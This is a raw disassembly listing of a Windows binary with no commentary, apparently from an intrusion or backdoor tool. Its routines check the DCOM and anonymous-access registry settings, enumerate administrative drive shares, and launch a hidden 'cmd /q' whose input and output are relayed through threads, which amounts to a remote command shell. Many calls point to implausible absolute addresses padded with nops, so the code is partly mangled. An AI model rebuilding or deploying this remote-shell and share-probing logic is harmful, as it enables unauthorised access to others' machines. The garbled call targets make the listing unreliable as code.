		add	esp, 14h


loc_4160EA:				; CODE XREF: sub_415F86+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, edi
		pop	ecx
		jnz	loc_416265
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41610D:				; CODE XREF: sub_415F86+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43F5B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AA
		cmp	eax, 0EAh
		jz	short loc_4161AA
		mov	esi, offset off_438CA0


loc_41613E:				; CODE XREF: sub_415F86+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416155
		push	offset unk_438E04
		jmp	short loc_41615A
; ---------------------------------------------------------------------------


loc_416155:				; CODE XREF: sub_415F86+1C6j
		push	offset unk_438DC8


loc_41615A:				; CODE XREF: sub_415F86+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41618D:				; CODE XREF: sub_415F86+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_438CC0
		jb	short loc_41613E
		jmp	loc_416242
; ---------------------------------------------------------------------------


loc_4161AA:				; CODE XREF: sub_415F86+1AAj
					; sub_415F86+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_416239


loc_4161B9:				; CODE XREF: sub_415F86+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41622E
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161E8
		push	offset unk_438D94
		jmp	short loc_4161ED
; ---------------------------------------------------------------------------


loc_4161E8:				; CODE XREF: sub_415F86+259j
		push	offset unk_438D58


loc_4161ED:				; CODE XREF: sub_415F86+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416221
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416221:				; CODE XREF: sub_415F86+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41622E:				; CODE XREF: sub_415F86+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161B9
		xor	edi, edi


loc_416239:				; CODE XREF: sub_415F86+22Dj
		push	[ebp+var_8]
		call	dword_43F6F8


loc_416242:				; CODE XREF: sub_415F86+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610D
		lea	eax, [ebp+var_214]
		push	offset unk_438D20
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_416278
; ---------------------------------------------------------------------------


loc_416265:				; CODE XREF: sub_415F86+177j
		lea	eax, [ebp+var_214]
		push	offset unk_438CE0
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416278:				; CODE XREF: sub_415F86+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416296
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416296:				; CODE XREF: sub_415F86+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AA	proc near		; CODE XREF: sub_415F26:loc_415F6Dp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43F738, ebx
		push	esi
		jnz	loc_4163D8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416335
		mov	ax, word_4391FC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416317
		push	offset unk_4391C8
		jmp	short loc_41631C
; ---------------------------------------------------------------------------


loc_416317:				; CODE XREF: sub_4162AA+64j
		push	offset dword_43919C


loc_41631C:				; CODE XREF: sub_4162AA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416348
; ---------------------------------------------------------------------------


loc_416335:				; CODE XREF: sub_4162AA+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438F68
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416348:				; CODE XREF: sub_4162AA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416367
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416367:				; CODE XREF: sub_4162AA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4163D1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43F68C
		test	eax, eax
		jz	short loc_4163B3
		push	offset unk_439150
		jmp	short loc_4163B8
; ---------------------------------------------------------------------------


loc_4163B3:				; CODE XREF: sub_4162AA+100j
		push	offset unk_43910C


loc_4163B8:				; CODE XREF: sub_4162AA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4163EB
; ---------------------------------------------------------------------------


loc_4163D1:				; CODE XREF: sub_4162AA+E2j
		push	offset unk_4390C0
		jmp	short loc_4163DD
; ---------------------------------------------------------------------------


loc_4163D8:				; CODE XREF: sub_4162AA+13j
		push	offset unk_438E38


loc_4163DD:				; CODE XREF: sub_4162AA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4163EB:				; CODE XREF: sub_4162AA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41640A:				; CODE XREF: sub_4162AA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, ebx
		pop	ecx
		jnz	loc_41657F
		push	edi
		mov	esi, offset off_438CA0
		mov	edi, 200h


loc_41642E:				; CODE XREF: sub_4162AA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416449
		push	offset unk_439090
		jmp	short loc_41644E
; ---------------------------------------------------------------------------


loc_416449:				; CODE XREF: sub_4162AA+196j
		push	offset unk_439058


loc_41644E:				; CODE XREF: sub_4162AA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647D
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41647D:				; CODE XREF: sub_4162AA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_438CB0
		jb	short loc_41642E
		call	near ptr 27F0518h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416567


loc_4164A8:				; CODE XREF: sub_4162AA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655C
		cmp	bl, 41h
		jz	loc_41655C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43F6C8
		cmp	eax, 3
		jnz	short loc_41655C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651A
		push	offset unk_439090
		jmp	short loc_41651F
; ---------------------------------------------------------------------------


loc_41651A:				; CODE XREF: sub_4162AA+267j
		push	offset unk_439058


loc_41651F:				; CODE XREF: sub_4162AA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41654F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41654F:				; CODE XREF: sub_4162AA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41655C:				; CODE XREF: sub_4162AA+206j
					; sub_4162AA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164A8


loc_416567:				; CODE XREF: sub_4162AA+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_439018
		push	eax
		call	sub_4172AE
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416592
; ---------------------------------------------------------------------------


loc_41657F:				; CODE XREF: sub_4162AA+173j
		lea	eax, [ebp+var_220]
		push	offset unk_438CE0
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416592:				; CODE XREF: sub_4162AA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4165B0:				; CODE XREF: sub_4162AA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C4	proc near		; CODE XREF: ___:0041562Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416715
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4450CC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_41662F
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_416669
; ---------------------------------------------------------------------------


loc_41662F:				; CODE XREF: sub_4165C4+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_416999
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416670
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 27E09C6h


loc_416669:				; CODE XREF: sub_4165C4+69j
		xor	eax, eax
		jmp	loc_416710
; ---------------------------------------------------------------------------


loc_416670:				; CODE XREF: sub_4165C4+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27F07DCh
		sub	eax, ebx
		jz	short loc_4166CA
		dec	eax
		jz	short loc_4166C4
		dec	eax
		jz	short loc_4166B0
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_439200
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166DF
; ---------------------------------------------------------------------------


loc_4166B0:				; CODE XREF: sub_4165C4+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166DF
; ---------------------------------------------------------------------------


loc_4166C4:				; CODE XREF: sub_4165C4+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166CE
; ---------------------------------------------------------------------------


loc_4166CA:				; CODE XREF: sub_4165C4+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4166CE:				; CODE XREF: sub_4165C4+104j
		call	near ptr 27E09C6h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27E0BB5h


loc_4166DF:				; CODE XREF: sub_4165C4+EAj
					; sub_4165C4+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43F700
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax


loc_416710:				; CODE XREF: sub_4165C4+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416715	proc near		; CODE XREF: sub_4165C4+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4167FF
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_416778
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset dword_439324
		jmp	short loc_416798
; ---------------------------------------------------------------------------


loc_416778:				; CODE XREF: sub_416715+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A0
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_4392D4


loc_416798:				; CODE XREF: sub_416715+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167CE
; ---------------------------------------------------------------------------


loc_4167A0:				; CODE XREF: sub_416715+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_41680E
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416803
		push	offset dword_43929C
		call	sub_40BF6D


loc_4167CE:				; CODE XREF: sub_416715+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DA
		push	[ebp+var_4]
		call	edi


loc_4167DA:				; CODE XREF: sub_416715+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E5
		push	[ebp+var_8]
		call	edi


loc_4167E5:				; CODE XREF: sub_416715+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167EE
		push	eax
		call	edi


loc_4167EE:				; CODE XREF: sub_416715+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167F8
		push	eax
		call	edi


loc_4167F8:				; CODE XREF: sub_416715+DEj
		push	esi
		call	sub_417C3B
		pop	ecx


loc_4167FF:				; CODE XREF: sub_416715+1Dj
		xor	eax, eax
		jmp	short loc_416809
; ---------------------------------------------------------------------------


loc_416803:				; CODE XREF: sub_416715+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_416809:				; CODE XREF: sub_416715+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416715	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41680E	proc near		; CODE XREF: sub_416715+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2780785h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2760B39h
		test	eax, eax
		jz	short loc_4168CA
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4450C8[eax], ecx
		nop
		call	near ptr 26307C3h
		jmp	short loc_4168E0
; ---------------------------------------------------------------------------


loc_4168CA:				; CODE XREF: sub_41680E+9Aj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_439374
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4168E0:				; CODE XREF: sub_41680E+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41680E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E7	proc near		; DATA XREF: sub_4165C4+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_416910:				; CODE XREF: sub_4168E7+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_416978
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694B


loc_416921:				; CODE XREF: sub_4168E7+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693B
		cmp	dl, 0Dh
		jz	short loc_41693B
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41693B:				; CODE XREF: sub_4168E7+44j
					; sub_4168E7+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416921


loc_41694B:				; CODE XREF: sub_4168E7+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416978
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416910
; ---------------------------------------------------------------------------


loc_416978:				; CODE XREF: sub_4168E7+2Dj
					; sub_4168E7+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416994
		call	esi
		push	eax
		push	offset dword_4393C0
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_416994:				; CODE XREF: sub_4168E7+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416999	proc near		; DATA XREF: sub_4165C4+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4169B2:				; CODE XREF: sub_416999+39j
					; sub_416999+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F680
		test	eax, eax
		jle	loc_416AB7
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D4
		dec	[ebp+var_10]
		jmp	short loc_4169B2
; ---------------------------------------------------------------------------


loc_4169D4:				; CODE XREF: sub_416999+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A97
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A44
		cmp	al, 7Fh
		jz	short loc_416A44
		cmp	al, 3
		jnz	short loc_4169FF
		push	ebx
		push	ebx
		nop
		call	near ptr 27F0893h
		jmp	short loc_416A6B
; ---------------------------------------------------------------------------


loc_4169FF:				; CODE XREF: sub_416999+5Aj
		cmp	al, 15h
		jnz	short loc_416A21
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A57
; ---------------------------------------------------------------------------


loc_416A21:				; CODE XREF: sub_416999+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A58
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A57
; ---------------------------------------------------------------------------


loc_416A44:				; CODE XREF: sub_416999+52j
					; sub_416999+56j
		cmp	esi, ebx
		jbe	short loc_416A6E
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_416A57:				; CODE XREF: sub_416999+86j
					; sub_416999+A9j
		pop	ecx


loc_416A58:				; CODE XREF: sub_416999+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416AB7


loc_416A6B:				; CODE XREF: sub_416999+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_416A6E:				; CODE XREF: sub_416999+ADj
		cmp	al, 0Dh
		jnz	loc_4169B2
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_416AB7
		xor	esi, esi
		jmp	loc_4169B2
; ---------------------------------------------------------------------------


loc_416A97:				; CODE XREF: sub_416999+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AA8
		mov	[ebp+var_C], 1
		jmp	loc_4169B2
; ---------------------------------------------------------------------------


loc_416AA8:				; CODE XREF: sub_416999+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B2
; ---------------------------------------------------------------------------


loc_416AB7:				; CODE XREF: sub_416999+2Bj
					; sub_416999+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416999	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABC	proc near		; CODE XREF: sub_416ADC+Ap
					; sub_416BB4+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADC	proc near		; CODE XREF: sub_416BCB+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABC
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AF9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AF9:				; CODE XREF: sub_416ADC+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4394A0, eax
		lea	eax, [edi+1]
		mov	dword_4394C1, eax
		lea	eax, [edi+17h]
		mov	dword_4394B9, eax
		pop	eax
		push	74h
		sub	eax, edi
